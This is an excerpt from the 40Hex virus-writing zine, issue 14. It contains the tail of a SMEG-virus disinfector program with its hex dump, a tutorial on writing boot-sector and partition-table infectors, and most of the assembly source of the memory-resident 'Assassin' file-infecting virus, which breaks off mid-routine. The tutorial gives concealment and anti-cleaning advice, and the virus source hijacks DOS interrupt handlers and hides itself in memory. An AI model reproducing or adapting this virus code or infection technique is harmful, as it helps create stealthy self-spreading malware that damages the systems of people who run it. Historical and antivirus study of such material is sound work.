FileError db 'Sorry, File Error.',07,0a,0dh,24
|
||
OOM db 'Sorry, Out Of Memory',07,0a,0dh,24
|
||
Checking db 'Checking $'
|
||
OpenError db ' - Error Opening.'
|
||
DoneChecking db 0a,0dh,24
|
||
TimeMSG db ' - Time stamp is suspicious of SMEG.Queeg signature.',0a,0dh,24
|
||
pathtimemsg db ' - Time stamp is suspicious of SMEG.Pathogen signature.',0a,0dh,24
|
||
InfectedMSG db ' - INFECTED WITH SMEG!',0a,0dh
|
||
db 'Disinfect (y/N)?',7,24
|
||
IntroMSG db 0a,0dh,'KillSMEG (c) 1994 Stormbringer, Phalcon/Skism.',0a,0dh
|
||
db 'Finds and disinfects the 2 known SMEG viruses in the current directory.',0a,0dh,24
|
||
|
||
Instructions:
|
||
db 'Usage : KILLSMEG Filemask (COM once, then EXE once is recommended)',0a,0dh
|
||
db 'Example: KILLSMEG *.COM',0a,0dh,24
|
||
|
||
QueegScan1:
|
||
db 0E8 xor 42, 00 xor 42, 00 xor 42, 58 xor 42, 0FE xor 42, 0CC xor 42
|
||
db 0B1 xor 42, 04 xor 42, 0D3 xor 42, 0E8 xor 42, 08C xor 42, 0CBh xor 42 ;Initializing Code
|
||
EndScan1:
|
||
;QueegScan2:
|
||
;db 0B8, 0EF, 18, 0CDh, 21, 3Dh, 10, 0E7, 75, 01, 0C3, 0E8 ;Installation Check
|
||
|
||
|
||
ParmData db 40 dup(0)
|
||
knownvir db 0
|
||
Jmpbyte db 0
|
||
COMJump db 0,0
|
||
|
||
Infected db 0
|
||
COMEXE db 0 ;0 for COM, 1 for EXE
|
||
EXECCheck dw 0,0
|
||
|
||
COMStorage db 0,0,0
|
||
EXEStack dd 0
|
||
EXEInstruct dd 0
|
||
|
||
;0f9d-SP 0f9b-SS 0fa0-IP:CS
|
||
ExeSizeLow dw 0
|
||
EXESizeHigh dw 0
|
||
|
||
|
||
Filenamebuf db 80d dup (?)
|
||
ExecHeader db 20 dup(?)
|
||
CopyBuffer db 400 dup(?)
|
||
StackBuffer db 1000 dup(?)
|
||
TopStack:
|
||
|
||
endfinder:
|
||
end start
|
||
---------------------------
|
||
N KILLSMEG.COM
|
||
E 0100 B4 4A BB CC 01 CD 21 BC C0 1C B4 09 BA 0C 07 CD
|
||
E 0110 21 80 3E 80 00 01 77 0C B4 09 BA 88 07 CD 21 B8
|
||
E 0120 00 4C CD 21 BE 82 00 BF 50 08 AC 3C 0D 74 03 AA
|
||
E 0130 EB F8 32 C0 AA B4 4E BA 50 08 B9 07 00 CD 21 73
|
||
E 0140 03 E9 BE 00 E8 D6 00 8B 0E 96 00 80 E1 1F 80 F9
|
||
E 0150 1C 75 03 E8 B1 00 8B 0E 98 00 80 FD C8 72 03 E8
|
||
E 0160 B0 00 B8 00 3D BA 9E 00 CD 21 73 03 E9 87 00 93
|
||
E 0170 BA 3D 08 B9 04 00 B4 3F CD 21 B4 3E CD 21 A1 3D
|
||
E 0180 08 32 E0 80 FC 17 74 11 0E 07 BF 38 08 BE 3D 08
|
||
E 0190 A4 A5 C6 06 3C 08 00 EB 05 C6 06 3C 08 01 C6 06
|
||
E 01A0 3B 08 00 90 C6 06 EC 05 00 90 E8 93 00 80 3E 3B
|
||
E 01B0 08 01 75 3D E8 78 00 80 3E 37 08 01 74 0A B4 09
|
||
E 01C0 BA 0B 06 CD 21 EB 2A 90 B4 09 BA E2 06 CD 21 33
|
||
E 01D0 C0 CD 16 50 BA 6E 06 B4 09 CD 21 58 0C 20 3C 79
|
||
E 01E0 75 0F 80 3E 3C 08 01 74 05 E8 85 02 EB 03 E8 E7
|
||
E 01F0 02 B4 4F E9 47 FF E8 36 00 B4 09 BA 5D 06 CD 21
|
||
E 0200 EB EF B8 00 4C CD 21 E8 25 00 B4 09 BA 71 06 CD
|
||
E 0210 21 C3 E8 1A 00 B4 09 BA A8 06 CD 21 C3 BA 53 06
|
||
E 0220 B4 09 CD 21 E8 08 00 BA 6E 06 B4 09 CD 21 C3 BE
|
||
E 0230 9E 00 AC 0A C0 74 08 B4 02 8A D0 CD 21 EB F3 C3
|
||
E 0240 0E 1F A1 2C 00 A3 EF 05 8C D8 A3 F3 05 A3 F7 05
|
||
E 0250 A3 FB 05 B8 F7 07 A3 F1 05 A3 F5 05 A3 F9 05 B8
|
||
E 0260 01 35 CD 21 89 1E E8 05 8C 06 EA 05 B8 01 25 BA
|
||
E 0270 09 03 CD 21 8C D0 A3 05 03 89 26 07 03 0E 07 B8
|
||
E 0280 01 4B BB EF 05 BA 9E 00 CD 21 72 78 0E 1F B8 22
|
||
E 0290 25 BA DA 02 CD 21 B4 62 CD 21 53 53 07 1F 2E 89
|
||
E 02A0 1E ED 05 8C C8 C7 06 0A 00 DA 02 A3 0C 00 FA 2E
|
||
E 02B0 A1 FF 05 8E D0 2E 8B 26 FD 05 FB 9C 58 0D 00 01
|
||
E 02C0 33 DB 33 C9 33 D2 BE 00 01 33 FF 33 ED 2E FF 36
|
||
E 02D0 03 06 2E FF 36 01 06 50 9D CB FC 9C 58 25 FF FE
|
||
E 02E0 50 9D FA 2E A1 05 03 8E D0 2E 8B 26 07 03 FB 2E
|
||
E 02F0 C5 16 E8 05 B8 01 25 CD 21 0E 0E 07 1F B4 1A BA
|
||
E 0300 80 00 CD 21 C3 00 00 00 00 FC 55 8B EC 83 C5 02
|
||
E 0310 50 53 51 52 06 1E 56 57 2E 80 3E EC 05 01 74 11
|
||
E 0320 E8 77 00 E8 35 00 75 09 E8 10 00 E8 A7 00 E8 0A
|
||
E 0330 00 5F 5E 1F 07 5A 59 5B 58 5D CF 1E 56 51 0E 1F
|
||
E 0340 BE EB 07 B9 0C 00 80 34 42 46 E2 FA 59 5E 1F C3
|
||
E 0350 2E C6 06 EC 05 01 B8 00 4C CD 21 8B 76 02 8E DE
|
||
E 0360 8B 76 00 80 3C CD 74 30 80 3C EA 74 2B 80 3C 9A
|
||
E 0370 74 26 80 3C AB 74 21 80 3C AD 74 1C 8A 04 24 F0
|
||
E 0380 3C 60 74 14 3C 90 74 10 3C A0 74 0C 81 3C E8 00
|
||
E 0390 75 05 81 7C 02 00 58 C3 EB B6 8B 46 02 2E 3B 06
|
||
E 03A0 03 06 74 02 EB AA 8B 46 02 8C DB 3B D8 75 07 8C
|
||
E 03B0 C3 3B D8 75 10 C3 2E 3B 1E ED 05 74 F2 2E C6 06
|
||
E 03C0 EC 05 01 EB 8B 2E 3B 1E ED 05 74 E9 2E C6 06 EC
|
||
E 03D0 05 01 E9 7B FF 0E 1F BE EB 07 8B 7E 02 8E C7 8B
|
||
E 03E0 7E 00 B9 00 08 AC F2 AE E3 6C 50 51 56 57 B9 0B
|
||
E 03F0 00 F3 A6 E3 06 5F 5E 59 58 EB EB 5F 5E 59 58 4F
|
||
E 0400 06 57 5E 1F 81 7C 33 22 C0 75 10 81 7C 39 01 2E
|
||
E 0410 75 09 2E C6 06 37 08 01 EB 07 90 2E C6 06 37 08
|
||
E 0420 00 8B DE 81 EB 00 01 8B B7 3C 01 03 F3 0E 07 BF
|
||
E 0430 41 08 A5 A4 8B B7 64 01 03 F3 BF 44 08 A5 A5 8B
|
||
E 0440 B7 71 01 03 F3 BF 48 08 A5 A5 2E C6 06 3B 08 01
|
||
E 0450 E8 E8 FE E9 FA FE C3 BA 3B 06 0E 1F B4 09 CD 21
|
||
E 0460 B8 02 4C CD 21 BA 25 06 B4 09 0E 1F CD 21 EB 55
|
||
E 0470 90 B4 48 BB 00 10 CD 21 72 DD 8E C0 BA 9E 00 B8
|
||
E 0480 00 3D CD 21 72 DF 93 06 1F 33 D2 2E 8B 0E 39 08
|
||
E 0490 83 C1 03 B4 3F CD 21 50 B4 3E CD 21 2E A1 41 08
|
||
E 04A0 A3 00 00 2E A0 43 08 A2 02 00 0E 1F B4 3C 33 C9
|
||
E 04B0 BA 9E 00 CD 21 59 72 AD 93 06 1F B4 40 33 D2 CD
|
||
E 04C0 21 B4 3E CD 21 B4 49 CD 21 0E 0E 07 1F C3 BA 25
|
||
E 04D0 06 B4 09 0E 1F CD 21 C3 CC B4 41 BA 05 06 CD 21
|
||
E 04E0 0E 0E 07 1F BA 9E 00 B8 02 3D CD 21 73 02 EB DE
|
||
E 04F0 93 B9 20 00 B4 3F BA A0 08 CD 21 BF AE 08 BE 44
|
||
E 0500 08 A5 A5 33 ED BF B4 08 8B 55 02 8B 05 B1 04 D3
|
||
E 0510 E2 83 D5 00 03 C2 83 D5 00 8B D5 8B 0E A8 08 D1
|
||
E 0520 E1 D1 E1 D1 E1 D1 E1 03 C1 83 D2 00 89 16 4E 08
|
||
E 0530 A3 4C 08 25 FF 01 A3 A2 08 A1 4C 08 B9 07 00 D3
|
||
E 0540 E2 89 16 A4 08 B9 09 00 05 FF 01 D3 E8 01 06 A4
|
||
E 0550 08 BE 48 08 A5 A5 B8 00 42 33 C9 33 D2 CD 21 B4
|
||
E 0560 40 BA A0 08 B9 20 00 CD 21 B4 3E CD 21 B4 56 BA
|
||
E 0570 9E 00 BF 05 06 CD 21 B4 3C BA 9E 00 33 C9 CD 21
|
||
E 0580 A3 E6 05 B8 00 3D BA 05 06 CD 21 A3 E4 05 B9 00
|
||
E 0590 04 83 3E 4E 08 00 75 0C 81 3E 4C 08 00 04 77 04
|
||
E 05A0 8B 0E 4C 08 81 2E 4C 08 00 04 83 1E 4E 08 00 B4
|
||
E 05B0 3F 8B 1E E4 05 BA C0 08 CD 21 8B C8 B4 40 8B 1E
|
||
E 05C0 E6 05 BA C0 08 CD 21 3D 00 04 74 C2 B4 3E 8B 1E
|
||
E 05D0 E6 05 CD 21 B4 3E 8B 1E E4 05 CD 21 B4 41 BA 05
|
||
E 05E0 06 CD 21 C3 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0600 00 00 00 00 00 4B 51 54 4D 50 00 20 2D 20 4E 65
|
||
E 0610 77 20 56 61 72 69 61 6E 74 20 6F 66 20 53 4D 45
|
||
E 0620 47 21 0A 0D 24 53 6F 72 72 79 2C 20 46 69 6C 65
|
||
E 0630 20 45 72 72 6F 72 2E 07 0A 0D 24 53 6F 72 72 79
|
||
E 0640 2C 20 4F 75 74 20 4F 66 20 4D 65 6D 6F 72 79 07
|
||
E 0650 0A 0D 24 43 68 65 63 6B 69 6E 67 20 24 20 2D 20
|
||
E 0660 45 72 72 6F 72 20 4F 70 65 6E 69 6E 67 2E 0A 0D
|
||
E 0670 24 20 2D 20 54 69 6D 65 20 73 74 61 6D 70 20 69
|
||
E 0680 73 20 73 75 73 70 69 63 69 6F 75 73 20 6F 66 20
|
||
E 0690 53 4D 45 47 2E 51 75 65 65 67 20 73 69 67 6E 61
|
||
E 06A0 74 75 72 65 2E 0A 0D 24 20 2D 20 54 69 6D 65 20
|
||
E 06B0 73 74 61 6D 70 20 69 73 20 73 75 73 70 69 63 69
|
||
E 06C0 6F 75 73 20 6F 66 20 53 4D 45 47 2E 50 61 74 68
|
||
E 06D0 6F 67 65 6E 20 73 69 67 6E 61 74 75 72 65 2E 0A
|
||
E 06E0 0D 24 20 2D 20 49 4E 46 45 43 54 45 44 20 57 49
|
||
E 06F0 54 48 20 53 4D 45 47 21 0A 0D 44 69 73 69 6E 66
|
||
E 0700 65 63 74 20 28 79 2F 4E 29 3F 07 24 0A 0D 4B 69
|
||
E 0710 6C 6C 53 4D 45 47 20 28 63 29 20 31 39 39 34 20
|
||
E 0720 53 74 6F 72 6D 62 72 69 6E 67 65 72 2C 20 50 68
|
||
E 0730 61 6C 63 6F 6E 2F 53 6B 69 73 6D 2E 0A 0D 46 69
|
||
E 0740 6E 64 73 20 61 6E 64 20 64 69 73 69 6E 66 65 63
|
||
E 0750 74 73 20 74 68 65 20 32 20 6B 6E 6F 77 6E 20 53
|
||
E 0760 4D 45 47 20 76 69 72 75 73 65 73 20 69 6E 20 74
|
||
E 0770 68 65 20 63 75 72 72 65 6E 74 20 64 69 72 65 63
|
||
E 0780 74 6F 72 79 2E 0A 0D 24 55 73 61 67 65 20 3A 20
|
||
E 0790 20 20 20 4B 49 4C 4C 53 4D 45 47 20 46 69 6C 65
|
||
E 07A0 6D 61 73 6B 20 28 43 4F 4D 20 6F 6E 63 65 2C 20
|
||
E 07B0 74 68 65 6E 20 45 58 45 20 6F 6E 63 65 20 69 73
|
||
E 07C0 20 72 65 63 6F 6D 6D 65 6E 64 65 64 29 0A 0D 45
|
||
E 07D0 78 61 6D 70 6C 65 3A 20 20 20 4B 49 4C 4C 53 4D
|
||
E 07E0 45 47 20 2A 2E 43 4F 4D 0A 0D 24 AA 42 42 1A BC
|
||
E 07F0 8E F3 46 91 AA CE 89 00 00 00 00 00 00 00 00 00
|
||
E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
RCX
|
||
0750
|
||
W
|
||
Q
|
||
---------------------------
|
||
40Hex Number 14 Volume 5 Issue 1 File 003
|
||
|
||
Boot Infectors
|
||
By Dark Angel of Phalcon/Skism
|
||
|
||
As most of our readers have no doubt noticed, 40Hex articles have
|
||
traditionally covered file based viruses. It is time to fill in the hole and
|
||
cover the other large class of viruses, the partition table and boot sector
|
||
viruses, herein termed "boot infectors" for brevity.
|
||
File based viruses are executed after the operating system loads. Boot
|
||
infectors, however, latch onto the parts of the drive that are accessed by the
|
||
BIOS when it attempts to load the operating system itself. Therefore, there is
|
||
little that can be done to intercept the boot infector once it has
|
||
successfully installed itself onto a disk.
|
||
A brief explanation of the basics of disk terminology is in order. Each
|
||
disk is divided into 512 byte chunks called sectors. Due to an unfortunate
|
||
choice in terminology, however, the system BIOS uses the term "sectors"
|
||
differently. For our purposes, we will divide the disk into 512 byte blocks,
|
||
with block 0 residing on the beginning of the disk.
|
||
The system BIOS assigns three values to each block on the disk. The
|
||
values are known as sectors, cylinders (sometimes known as tracks), and heads
|
||
(sometimes called sides) and can be represented as a triple
|
||
(sector,cylinder,head). Each disk has a certain number of sectors (SEC),
|
||
cylinders (CYL), and heads (HDS). Cylinders are numbered from 0 to CYL - 1.
|
||
Heads are numbered from 0 to HDS - 1. Sectors, for some unfathomable reason,
|
||
are numbered from 1 to SEC. Block 0 corresponds to the triple (1,0,0) (sector
|
||
1, cylinder 0, head 0). Block 1 corresponds to (2,0,0), Block 2 with (3,0,0),
|
||
and so on, until Block SPH. Block SPH corresponds to (1,1,0), Block SPH+1 with
|
||
(2,1,0), and so on. Block 2*SPH is (1,2,0), Block 2*SPH+1 is (2,2,0), etc.
|
||
This continues until Block HPC*SPH, which is (0,0,1).
|
||
An introduction to the boot process is vital to understanding boot
|
||
infectors. When the system is reset, the BIOS checks the first block, triple
|
||
(1,0,0), of the first hard drive of the system (if any are installed, of
|
||
course) to absolute memory address 7C000. If the hard drive exists, the block
|
||
that was read in is checked for the signature 0AA55 (in reverse word format)
|
||
occuring at offset 1FE. This is the marker for a valid partition table. If a
|
||
partition table is found, the code residing in this block is executed at
|
||
0:7C00. If a valid partition table is not found (or the hard drive doesn't
|
||
exist), then the BIOS tries booting from the floppy drive. It again reads the
|
||
first block from the first floppy drive to absolute memory address 7C000. If
|
||
there is a readable disk in the drive, it will be loaded in and executed. No
|
||
check is made for the 0AA55 signature, although many boot sectors have it
|
||
there anyway just for consistency.
|
||
Technically, the first block of the hard disk is a boot sector just as it
|
||
is on floppies. However, it is sometimes given a different name because of the
|
||
partition table convention that allows multiple operating systems to reside on
|
||
a single drive. We will call it by the somewhat misleading name of partition
|
||
table. Another common name is the master boot record, for reasons that will
|
||
become clear momentarily. The partition table convention is basically a simple
|
||
structure at the end of the first block of the hard drive that defines where
|
||
each operating system exists on a given hard drive. The partition table
|
||
structure begins at offset 1BE in the block and consists of an array with four
|
||
entries. The format of each entry is:
|
||
|
||
Ofs Size Description
|
||
0 BYTE boot indicator, 0 = non-bootable, 80h = bootable
|
||
1 BYTE head the partition begins on
|
||
2 BYTE sector the partition begins on
|
||
3 BYTE cylinder the partition begins on
|
||
4 BYTE system indicator, indicates what OS resides in the partition
|
||
01 indicates DOS 12-bit FAT
|
||
04 indicates DOS 16-bit FAT
|
||
5 BYTE head the partition ends on
|
||
6 BYTE sector the partition ends on
|
||
7 BYTE cylinder the partition ends on
|
||
8 DWORD total number of blocks preceding the partition
|
||
0C DWORD total number of blocks in the partition
|
||
|
||
The code in the partition table loads the boot record of the active
|
||
partition (as indicated in the first bit of the partition table structure).
|
||
The boot record then loads the operating system that resides in its respective
|
||
partition.
|
||
When BIOS decides to boot from a floppy, it reads in the first block off
|
||
the floppy to 7C000. Floppies don't have partition tables, so this block is
|
||
the equivalent of the boot record of a partition on a hard disk.
|
||
In DOS, the boot record consists of three bytes for a JMP followed by the
|
||
following structure, sometimes known as the BIOS parameter block (BPB):
|
||
|
||
Offset Size Description
|
||
3 8 bytes OEM name and version (ASCII)
|
||
0B Word bytes per sector
|
||
0D Byte sectors per cluster
|
||
0E Word reserved sectors (starting at logical sector 0)
|
||
10 Byte number of FATs
|
||
11 Word number of root directory entries (32 bytes each)
|
||
13 Word total sectors in partition
|
||
15 Byte media descriptor
|
||
17 Word sectors per FAT
|
||
19 Word sectors per track
|
||
1B Word number of heads
|
||
1D Word number of hidden sectors
|
||
|
||
The rest of the boot record consists of code that loads and executes the
|
||
DOS system files, which then take over. There are a number of terms in the
|
||
above structure which may be unfamiliar, but don't fret; they will be
|
||
explained in due course.
|
||
First, however, it is important to note that nothing requires these
|
||
structures to exist! The partition table, for example, is merely a de facto
|
||
convention which was set up to allow operating systems to co-exist on a single
|
||
hard drive. The boot record structure defined above is used by DOS for DOS
|
||
programs. Of course, another operating system could interpret the structure,
|
||
but there is no requirement for a given operating system to use that format.
|
||
When infecting disks, however, keep in mind that certain programs require the
|
||
structures to be in place. DOS, for example, won't recognise partitions
|
||
properly without the partition table being at its usual location. Floppies
|
||
also won't work properly if the boot record is not loaded when DOS requests a
|
||
read to the first block. In other words, make sure that all requests to the
|
||
partition table or boot record return the partition table and boot record in
|
||
the appropriate locations. The other code may be changed with the only
|
||
drawback in such a scheme being easy detection of the code modifications. A
|
||
better approach is to redirect requests to the modified blocks to a stored
|
||
copy of the original. In other words, stealth.
|
||
Seeing these structures, the method of infection, conceptually, at the
|
||
very least, should be apparent. It's a simple matter to replace the code of
|
||
the partition table or boot record with your own. All your code has to do is
|
||
store the block somewhere else on the disk and replace the block with itself.
|
||
When the virus gains control, it needs to put itself in memory and then load
|
||
the original block into memory at 7C000 and then transfer control to this
|
||
code. Once it is in memory, it is free to infect any disks which come into
|
||
contact with the computer.
|
||
This is all nice and easy to say, but there are a few details which would
|
||
be helpful to know before plunging into writing a boot infector. When control
|
||
is transferred to either the partition table or boot record, CS:IP is set to
|
||
0:7C00. SS:SP is undefined, so most boot infectors set it to 0:7C00, which
|
||
causes the stack to be placed just below the loading area. This is sufficient
|
||
for the needs of most viruses.
|
||
Additionally, it would be nice to be able to locate empty space to store
|
||
the original boot sector or partition table. Here, the virus has a number of
|
||
choices. In hard disks, many viruses store the original partition table in the
|
||
unused space between the partition table and the first partition. The first
|
||
partition generally starts at triple (2,1,0) or later (some start as late as
|
||
(2,0,1), so there is a wealth of space in which to store the virus in that
|
||
area. A simple calculation reveals that there are (number of cylinders - 2)
|
||
sectors between (1,0,0) where the partition table is and (2,1,0) where the
|
||
first partition starts). Multiply that value by 512 and you have the number of
|
||
bytes you can store there. That's a large chunk of space you have at your
|
||
disposal. A virus may also store itself at the end of the root directory,
|
||
although it risks overwriting valid directory entries. The BPB contains
|
||
everything necessary to calculate the location and length of the root
|
||
directory.
|
||
An alternate approach, which is used by several viruses, is to alter the
|
||
file allocation table, or FAT. The FAT is an array of entries which describe
|
||
how the blocks on the disk are related. FAT entries are either 12 or 16 bits
|
||
long, depending on the disk. 12 bit FAT's are generally used in disks and
|
||
partitions with less than 20740 sectors and 16 bit FAT's are used in larger
|
||
disks and partitions. The location and size of the FAT can be found in the
|
||
BPB. Each entry in the FAT corresponds to a block on the disk. The FAT
|
||
describes a file's placement on the disk. By following the chain, you can find
|
||
the location of the blocks of the file, since they need not be contiguous. The
|
||
value of the FAT entry is the number of the next block in the chain, i.e. an
|
||
index to the FAT entry corresponding to the next block of the file, unless it
|
||
is one of the special values. If the value of the FAT entry is 0, then the
|
||
block is unused. If the value is -1 to -8 (FFF8-FFFF) then the block is the
|
||
last block in a file. If the value is -9 to -10h (FFF0-FFF7) then the block is
|
||
reserved (usually a bad block). The first and second entries in the FAT are
|
||
always -1. The third entry governs the first data area. The idea is for the
|
||
virus to find empty blocks, mark them as bad in the FAT, and store the code
|
||
there. This way, DOS thinks the blocks are bad and does not overwrite the
|
||
virus.
|
||
One important issue with partition table infectors is whether they should
|
||
preserve the partition table itself, i.e. leave the partition table structure
|
||
at offset 1BE in the first block of the disk. Similarly, should boot sector
|
||
infectors retain the BPB? This is a particularly interesting issue with
|
||
stealth viruses, viruses which redirect attempts at accessing the partition
|
||
table or boot sector. The advantage of retaining the structures is that DOS
|
||
will recognize the disks even when the virus is not loaded in memory.
|
||
Therefore, the virus is somewhat less vulnerable to detection. However, if the
|
||
virus does not keep the structure, then it will be more difficult for the user
|
||
to boot the computer without loading the virus in memory, since DOS will not
|
||
recognise the drive. This is an especially nifty feature, since primitive
|
||
cleaning attempts such as FDISK /MBR will fail against such a virus.
|
||
Within this motley assortment of information, you will find enough to aid
|
||
you in crafting an original boot infector. There is intentionally no code in
|
||
this tutorial, mainly because there is little virus-specific information
|
||
contained within. Many of the routines used in a boot infector are important
|
||
when writing any boot sector, so there is little importance in repeating the
|
||
code here.
|
||
40Hex Number 14 Volume 5 Issue 1 File 004
|
||
|
||
; Assassin (Bug Fix version)
|
||
; by Dark Slayer
|
||
|
||
mem_size equ offset memory_end-offset start
|
||
mem_para equ (mem_size+0fh)/10h
|
||
low_mem_size equ mem_size+100h
|
||
low_mem_para equ (low_mem_size+0fh)/10h
|
||
vir_size equ offset vir_end-offset start
|
||
vir_sector equ (vir_size+1ffh+2)/200h
|
||
constant_size equ offset constant-offset start
|
||
|
||
.model tiny
|
||
.code
|
||
org 0
|
||
start:
|
||
xor di,di
|
||
mov dx,ds:[di+2]
|
||
sub dh,5
|
||
|
||
mov ah,26h
|
||
int 21h
|
||
|
||
mov bp,ds:[di+2ch]
|
||
|
||
mov ah,4ah
|
||
mov bx,low_mem_para
|
||
int 21h
|
||
|
||
mov ah,52h
|
||
int 21h
|
||
mov bx,es:[bx-2]
|
||
mov ax,cs
|
||
dec ax
|
||
mcb:
|
||
mov cx,ds
|
||
mov ds,bx
|
||
inc bx
|
||
mov dx,bx
|
||
add bx,ds:[di+3]
|
||
or bp,bp
|
||
jnz not_boot
|
||
cmp ax,bx
|
||
jne not_our_mcb
|
||
add word ptr ds:[di+3],low_mem_para+1
|
||
not_our_mcb:
|
||
cmp ax,cx
|
||
jne not_boot
|
||
mov ds:[di+1],dx
|
||
mov di,8
|
||
push ds
|
||
pop es
|
||
mov si,di
|
||
mov ds,ax
|
||
mov cx,di
|
||
rep movsb
|
||
push dx
|
||
add ax,10h+1
|
||
push ax
|
||
jmp short search
|
||
not_boot:
|
||
cmp byte ptr ds:[di],4dh
|
||
je mcb
|
||
cmp byte ptr ds:[di],5ah
|
||
je mcb
|
||
mov sp,low_mem_size
|
||
sub dx,mem_para+1
|
||
mov es,dx
|
||
sub dx,cx
|
||
dec dx
|
||
mov ds,cx
|
||
mov ds:[di+3],dx
|
||
mov si,100h
|
||
mov cx,vir_size
|
||
rep movs byte ptr es:[di],cs:[si]
|
||
|
||
push es
|
||
search:
|
||
mov ax,352ah
|
||
int 21h
|
||
pop ds
|
||
push ds
|
||
mov di,offset i21_table
|
||
mov ds:old2a[di]-i21_table,bx
|
||
mov ds:old2a[di+2]-i21_table,es
|
||
mov ah,25h
|
||
mov dx,offset int2a
|
||
int 21h
|
||
mov dx,bx
|
||
push es
|
||
pop ds
|
||
int 21h
|
||
pop es
|
||
lds si,es:[di]
|
||
search_table:
|
||
lodsw
|
||
search_table_:
|
||
dec si
|
||
cmp ax,8b2eh
|
||
jne search_table
|
||
lodsw
|
||
cmp ah,9fh
|
||
jne search_table_
|
||
movsw
|
||
scasw
|
||
lea ax,[si-1e0h]
|
||
stosw
|
||
xchg si,ax
|
||
mov word ptr ds:[si],0eacbh
|
||
mov word ptr ds:[si+2],offset i21_3e
|
||
mov ds:[si+4],es
|
||
mov byte ptr ds:[si+6],0eah
|
||
mov word ptr ds:[si+7],offset i21_3f
|
||
mov ds:[si+9],es
|
||
call set21
|
||
|
||
mov cx,bp
|
||
jcxz boot
|
||
mov ds,bp
|
||
xor si,si
|
||
l2:
|
||
lodsw
|
||
dec si
|
||
or ax,ax
|
||
jnz l2
|
||
lea dx,[si+3]
|
||
mov di,offset pcb+4+100h
|
||
push cs
|
||
pop es
|
||
mov ax,cs
|
||
stosw
|
||
scasw
|
||
stosw
|
||
scasw
|
||
stosw
|
||
mov ax,4b00h
|
||
mov bx,offset pcb+100h
|
||
int 21h
|
||
mov ah,4dh
|
||
int 21h
|
||
mov ah,4ch
|
||
int 21h
|
||
|
||
boot:
|
||
pop dx
|
||
mov ah,26h
|
||
int 21h
|
||
mov bl,3
|
||
mov ss:[bp+18h+5],bl
|
||
mov ax,1216h
|
||
int 2fh
|
||
inc bp
|
||
mov es:[di],bp
|
||
mov ss,dx
|
||
mov ds,dx
|
||
mov ax,4200h
|
||
mov bl,5
|
||
cwd
|
||
int 21h
|
||
mov ah,3fh
|
||
dec cx
|
||
inc dh
|
||
int 21h
|
||
mov ah,3eh
|
||
int 21h
|
||
push ds
|
||
pop es
|
||
push ds
|
||
push dx
|
||
retf
|
||
|
||
read_cmp proc
|
||
mov cx,vir_size
|
||
mov dx,cx
|
||
push cs
|
||
pop ds
|
||
call read
|
||
jc rc_exit
|
||
push cx
|
||
xor si,si
|
||
if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
|
||
mov cl,constant_size and 0ffh
|
||
else
|
||
mov cx,constant_size
|
||
endif
|
||
compare:
|
||
lodsb
|
||
cmp al,ds:read_buffer[si-1]
|
||
loope compare
|
||
clc
|
||
pop cx
|
||
rc_exit:
|
||
ret
|
||
read_cmp endp
|
||
|
||
read proc
|
||
push bx
|
||
push dx
|
||
push ds
|
||
mov ax,1229h
|
||
int 2fh
|
||
pop ds
|
||
pop dx
|
||
pop bx
|
||
ret
|
||
read endp
|
||
|
||
write proc
|
||
mov bp,40h*2
|
||
i21_func proc
|
||
pop ax
|
||
push bx
|
||
push cs
|
||
push ax
|
||
push cs
|
||
pop ds
|
||
push ds:i21_far_jmp
|
||
les di,dword ptr ds:i21_table
|
||
push es
|
||
push es:[di+bp]
|
||
retf
|
||
i21_func endp
|
||
write endp
|
||
|
||
set2324_restore21 proc
|
||
push ds
|
||
mov si,23h*4
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov di,offset old23
|
||
push cs
|
||
pop es
|
||
mov ax,offset int23
|
||
mov bp,2
|
||
sm_23_1:
|
||
movsw
|
||
mov ds:[si-2],ax
|
||
movsw
|
||
mov ds:[si-2],cs
|
||
if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
|
||
mov al,(offset int24-offset start) and 0ffh
|
||
else
|
||
mov ax,offset int24
|
||
endif
|
||
dec bp
|
||
jnz sm_23_1
|
||
mov si,di
|
||
push cs
|
||
pop ds
|
||
mov bp,-4
|
||
rs_1:
|
||
inc bp
|
||
inc bp
|
||
les di,dword ptr ds:i21_table
|
||
mov di,es:[di+bp+2+3eh*2]
|
||
movsb
|
||
movsw
|
||
jnz rs_1
|
||
pop ds
|
||
|
||
pop bp
|
||
pop ax
|
||
push es
|
||
push ax
|
||
|
||
get_sft proc
|
||
push bx
|
||
mov ax,1220h
|
||
int 2fh
|
||
mov bl,es:[di]
|
||
mov ax,1216h
|
||
int 2fh
|
||
pop bx
|
||
jmp bp
|
||
get_sft endp
|
||
set2324_restore21 endp
|
||
|
||
set21_restore23 proc
|
||
mov si,offset old23
|
||
push cs
|
||
pop ds
|
||
mov di,23h*4
|
||
xor cx,cx
|
||
mov es,cx
|
||
mov cl,4
|
||
rep movsw
|
||
push cs
|
||
pop es
|
||
|
||
set21 proc ; es = vir segment
|
||
push ax
|
||
mov bx,-4
|
||
mov di,offset i21_3e_data
|
||
mov cx,es:i21_far_jmp[di]-i21_3e_data
|
||
inc cx
|
||
sm_1:
|
||
inc bx
|
||
lds si,dword ptr es:i21_table
|
||
mov ax,ds:[si+bx+3+3eh*2]
|
||
mov si,ax
|
||
movsb
|
||
movsw
|
||
xchg si,ax
|
||
sub ax,cx
|
||
neg ax
|
||
mov byte ptr ds:[si],0e9h
|
||
mov ds:[si+1],ax
|
||
add cx,5
|
||
inc bx
|
||
jnz sm_1
|
||
pop ax
|
||
ret
|
||
set21 endp
|
||
set21_restore23 endp
|
||
|
||
i21_3e:
|
||
call set2324_restore21
|
||
jc jc_exit
|
||
push es
|
||
pop ds
|
||
cmp word ptr ds:[di],1
|
||
jne jne_exit
|
||
les ax,dword ptr ds:[di+28h]
|
||
mov dx,es
|
||
cmp ax,'OC'
|
||
jne exe
|
||
mov al,'M'
|
||
jmp short com
|
||
exe:
|
||
cmp ax,'XE'
|
||
jne jne_exit
|
||
com:
|
||
cmp dl,al
|
||
jne_exit:
|
||
jne jne_exit_
|
||
les ax,dword ptr ds:[di+11h]
|
||
